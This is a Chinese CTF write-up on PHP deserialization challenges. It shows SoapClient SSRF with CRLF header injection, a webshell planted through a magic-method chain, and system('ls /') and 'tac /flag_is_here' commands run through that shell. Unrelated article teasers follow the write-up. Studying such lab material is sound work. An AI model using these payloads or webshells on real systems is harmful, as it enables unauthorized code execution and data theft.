ctfshow(259->261)--反序列化漏洞--原生类与更多魔术方法

Web259

进入界面,回显如下:

highlight_file(__FILE__);$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

题干里还提示了网站有一个flag.php界面,源代码如下:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');
}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
}

代码审计:

explode()用于切割字符串。第一个参数是切割符,第二个参数是被切割的字符串。该函数返回一个数组
$_SERVER[‘HTTP_X_FORWARDED_FOR’]获取用户的IP地址。

所以 explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])就是获取用户的IP地址,用分隔符逗号,切割不同IP地址,并返回一个数组。

array_pop() 删除数组的最后一个元素。返回数组的最后一个值。
所以array_pop($xff); $ip = array_pop($xff);就是先删除数组的最后一个值,再将被删减过的数组的最后一个值赋值给$ip

if条件语句要求$ip的值为127.0.0.1,且POST传参token=ctfshow。

file_put_contents('flag.txt', $flag)将变量flag写入文件flag.txt中。

思路:

在index.php页面下通过反序列化,向flag.php文件发送请求,执行其中的file_put_contents方法,将flag放入flag.txt文件中,然后访问flag.php。

反序列化得到对象$vip后,vip会调用getFlag()方法。
但明显该方法不存在,而PHP中存在一种魔术方法 __call() ,当对象调用不存在的方法时,就会调用__call()方法。

PHP原生类SoapClient可以向网站发送请求,并且其中存在__call()方法,所以我们使用将vip实例化为SoapClient的对象。(要在php.ini中开启php_soap服务
SoapClient的构造函数:public __construct(?string $wsdl, array $options = [])
第一个参数设置为null即可,第二个数组参数则必需包含uri和location。
脚本构造如下:

$ua = "Firefox\r\nContent-Type:application/x-www-form-urlencoded\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
//请求头之间用\r\n隔开 与请求体之间用\r\n\r\n隔开
$vip = new SoapClient(null,array('uri' => '127.0.0.1','location' => 'http://127.0.0.1/flag.php','user_agent' => $ua
));echo urlencode(serialize($vip));

EXP:

payload:

https://29b9092a-65ed-4299-9bf2-4c208c6003c9.challenge.ctf.show/
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Firefox%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

此时flag已经成功写入flag.txt中,访问flag.txt得到flag.

Web260

源代码:

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo $flag;
}

代码审计:

包含了flag.php文件,序列化了参数ctfshow,并在参数中匹配字符串ctfshow_i_love_36D。

思路:

我们向序列化函数serialize()传入字符串时,返回值中还是有该字符串的内容:
在这里插入图片描述
因此直接给参数赋值为匹配的字符串即可。

EXP:

payload:

https://ef0558b0-355c-4f58-9236-c5a5a596124b.challenge.ctf.show/
?ctfshow=ctfshow_i_love_36D

得到flag.

Web261

源代码:

class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);

代码审计:

ctfshowvip类中有六个魔术方法,其中构造方法__construct和析构方法__destruct我们已经知晓,接下来介绍其它四种魔术方法。

__wakeup:当我们要调用反序列化函数unserialize时,系统会先调用__wakeup方法。
__invoke:当我们将一个对象当作函数调用时,系统将调用__invoke方法。
比如$vip是一个对象,但是我们用 $vip() 这样的形式使用它,__invoke方法就被调用。
__sleep:与__wakeup相对,__sleep用于将对象序列化之前。
__unserialize: 该魔术方法用于PHP7.4.0及之后的版本。当__unserialize与__wakeup方法同时存在时,将忽略__wakeup而执行__unserialize.

本程序只使用了unserialize,所以在反序列化之前调用了__unserialize方法,之后使用__destruct方法。

思路:

本题要想获取flag,我们要实现RCE操作。

可知code是由username和password拼接起来的,只要code==0x36d,就能将password的数据写入以username命名的文件。
所以username的值应该是一个.php文件,password的值应该是一句话木马。

构造脚本如下:

class ctfshowvip{public $username = '877.php';public $password = '<?php eval($_GET[1]);?>';public $code;
}$vip = new ctfshowvip();
echo urlencode(serialize($vip));

这样拼接之后的$code=877.php<?php eval($_GET[1]);?>
此时code是字符串类型,以数字877开头,这样在与数字0x36d弱比较时,就会将code的值转换为877,从而实现code=0x36d的效果。

到此,我们成功创建了877.php文件,并将<?php eval($_GET[1]);?>写入了文件中,进入该文件,我们即可实现shell.

EXP:

创建文件实现shell:

https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/
vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+eval%28%24_GET%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

在877.php下进行RCE:

https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('ls');

当前目录下有以下两个文件:
在这里插入图片描述
明显flag不在当前目录,我们找一下其他目录:

https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('ls /');

在根目录下找到了文件flag_is_here
读取该文件:

https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('tac /flag_is_here');

得到flag.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/883317.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

常见的音视频格式介绍

目录 aac格式介绍&#xff08;ADTS&#xff09;h264格式分析FLV和MP4格式介绍 aac格式介绍&#xff08;ADTS&#xff09; aac的格式有两种&#xff1a;ADIF不常用&#xff0c;ADTS是主流&#xff0c;所以这里主要讲解ADTS。简单来说&#xff0c;ADTS可以在任意帧解码&#xff…

校园表白墙源码修复版

此校园表白墙源码基于thinkphp&#xff0c;因为时代久远有不少bug&#xff0c;经本人修复已去除大部分bug&#xff0c;添加了美化元素。 https://pan.quark.cn/s/1f9b3564c84b https://pan.baidu.com/s/1bb9vu9VV2jJoo9-GF6W3xw?pwd7293 https://caiyun.139.com/m/i?2hoTc…

多款云存储平台存在安全漏洞,影响超2200万用户

据苏黎世联邦理工学院研究人员Jonas Hofmann和Kien Tuong Turong的发现&#xff0c;端到端加密&#xff08;E2EE&#xff09;云存储平台存在一系列安全问题&#xff0c;可能会使用户数据暴露给恶意行为者。在通过密码学分析后&#xff0c;研究人员揭示了Sync、pCloud、Icedrive…

三维管线管网建模工具MagicPipe3D V3.5.3

经纬管网建模系统MagicPipe3D&#xff0c;本地离线参数化构建地下管网三维模型&#xff08;包括管道、接头、附属设施等&#xff09;&#xff0c;输出标准3DTiles、Obj模型等格式&#xff0c;支持Cesium、Unreal、Unity、Osg等引擎加载进行三维可视化、语义查询、专题分析&…

【Android】MVP架构

MVP架构简介 MVP&#xff08;Model-View-Presenter&#xff09;是一种常见的软件架构模式&#xff0c;尤其在Android应用开发中被广泛使用。它将应用程序分为三层&#xff1a;Model、View 和 Presenter&#xff0c;以实现职责分离&#xff0c;提高代码的可维护性和可测试性。 …

基于自适应VSG控制的光伏混合储能构网型逆变系统MATLAB仿真模型

模型简介 此模型源侧部分采用光伏发电系统与混合储能系统&#xff08;蓄电池超级电容&#xff09;&#xff0c;并网逆变器采用虚拟同步发电机&#xff08;VSG&#xff09;控制&#xff0c;为系统提供惯量阻尼支撑。同时对VSG控制部分进行了改进&#xff0c;采用构造函数法对虚…

论文阅读(二十九):Multi-scale Interactive Network for Salient Object Detection

文章目录 Abstract1.Introduction2.Scale VariationProposed Method3.1Network Overview3.2Aggregate Interaction Module3.3 Self-Interaction Module3.4Consistency-Enhanced Loss 4.Experiments4.1Implementation Details4.2 Comparison with State-of-the-arts4.3Ablation …

【力扣】[Java版] 刷题笔记-21. 合并两个有序链表

题目&#xff1a; 21. 合并两个有序链表 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 解题思路 从题目和示例可以看出&#xff0c;应该是要循环遍历链表进行比较&#xff0c;然后组成新的链表。 第一种&#xff1a;递归…

存储过程(SQL)

1.存储过程 存储过程&#xff08;Stored Procedure&#xff09;是一组为了完成特定功能的SQL语句集&#xff0c;经编译后存储在数据库中&#xff0c;用户通过指定存储过程的名字并给定参数&#xff08;如果该存储过程带有参数&#xff09;来调用执行它。 2.MySQL存储过程创建…

PostgreSQL的前世今生

PostgreSQL的起源可以追溯到1977年的加州大学伯克利分校&#xff08;UC Berkeley&#xff09;的Ingres项目。该项目由著名的数据库科学家Michael Stonebraker领导&#xff0c;他是2015年图灵奖的获得者。以下是PostgreSQL起源的详细概述&#xff1a; 一、早期发展 Ingres项目…

LabVIEW换流变换器智能巡检系统

基于LabVIEW的换流变换器智能巡检系统通过自动化检测和数据分析&#xff0c;提高换流变换器的运行效率和可靠性&#xff0c;降低人工维护成本。 项目背景&#xff1a; 换流变压器作为电力系统的重要组成部分&#xff0c;其性能的可靠性直接影响到整个电网的稳定运行。然而&…

完美解决phpstudy安装后mysql无法启动

phpstudy数据库无法启动有以下几个原因。 一、自己在电脑上安装了MySQL数据库,MySQL的服务名为MySQL,这会与phpstudy的数据库的服务名发生冲突&#xff0c;从而造成phpstudy中的数据库无法启动&#xff0c;这时我们只需要将自己安装的MySQL的服务名改掉就行。 但是&#xff0…

软件测试的重要一环:「性能测试」怎么做?

性能测试是软件测试中的重要一环&#xff0c;今天给大家介绍性能测试及如何使用RunnerGo完成性能测试任务。 性能测试是什么&#xff1f; 一句话概括&#xff1a;不断地通过不同场景的系统表现去探究系统设计与资源消耗之间的平衡&#xff0c;为开发人员提供消除瓶颈所需的诊…

Ajax:表单 模板引擎

Ajax&#xff1a;表单 & 模板引擎 form 表单form 属性 Ajax操控表单事件监听阻止默认行为收集表单数据 模板引擎art-template{{}}语法原文输出条件输出循环输出过滤器 原理 form 表单 在HTML中&#xff0c;可以通过<form>创建一个表单&#xff0c;收集用户信息。而采…

基于docker 部署redis

1、拉取镜像 docker pull redis:latest如果拉取失败可以尝试下配置镜像源&#xff0c;具体参考如下&#xff0c;目前暂可以使用 Docker切换镜像源-CSDN博客 2、创建配置文件 mkdir /usr/local/redis/conf vim redis.conf bind 0.0.0.0#protected-mode no port 6379 tcp-b…

Fast Simulation of Mass-Spring Systems in Rust 论文阅读

参考资料&#xff1a; Fast Simulation of Mass-Spring Systems in Rust 论文阅读&#xff1a;Fast Simulation of Mass-Spring Systems 【论文精读】讲解刘天添2013年的fast simulation of mass spring system(Projective Dynamics最早的论文) Projective Dynamics笔记(一…

面试经典 150 题 第三周代码

【题目链接】 80. 删除有序数组中的重复项 II 【参考代码】 双指针 class Solution { public:int removeDuplicates(vector<int>& nums) {int size nums.size();if(size < 2){return size;}int slow 2, fast 2;while(fast < size){if(nums[slow-2] ! num…

【C++数学 负进制】1017. 负二进制转换|1697

本文涉及知识点 数学 LeetCode1017. 负二进制转换 给你一个整数 n &#xff0c;以二进制字符串的形式返回该整数的 负二进制&#xff08;base -2&#xff09;表示。 注意&#xff0c;除非字符串就是 “0”&#xff0c;否则返回的字符串中不能含有前导零。 示例 1&#xff1a…

可训练的YOLO距离检测

由于很多场景需要测距&#xff0c;而深度图、点云等获取、配准、融合困难&#xff0c;尝试直接在目标增加距离标注进行训练&#xff0c;理论上标注准确&#xff0c;数据集够&#xff0c;就可以实现。 目前已经跑通YOLO增加距离训练&#xff1a; 目前准度不够&#xff0c;仅将…

Flutter Image和Text图文组件实战案例

In this section, we’ll go through the process of building a user interface that showcases a product using the Text and Image widgets. We’ll follow Flutter’s best practices to ensure a clean and effective UI structure. 在本节中&#xff0c;我们将使用“Te…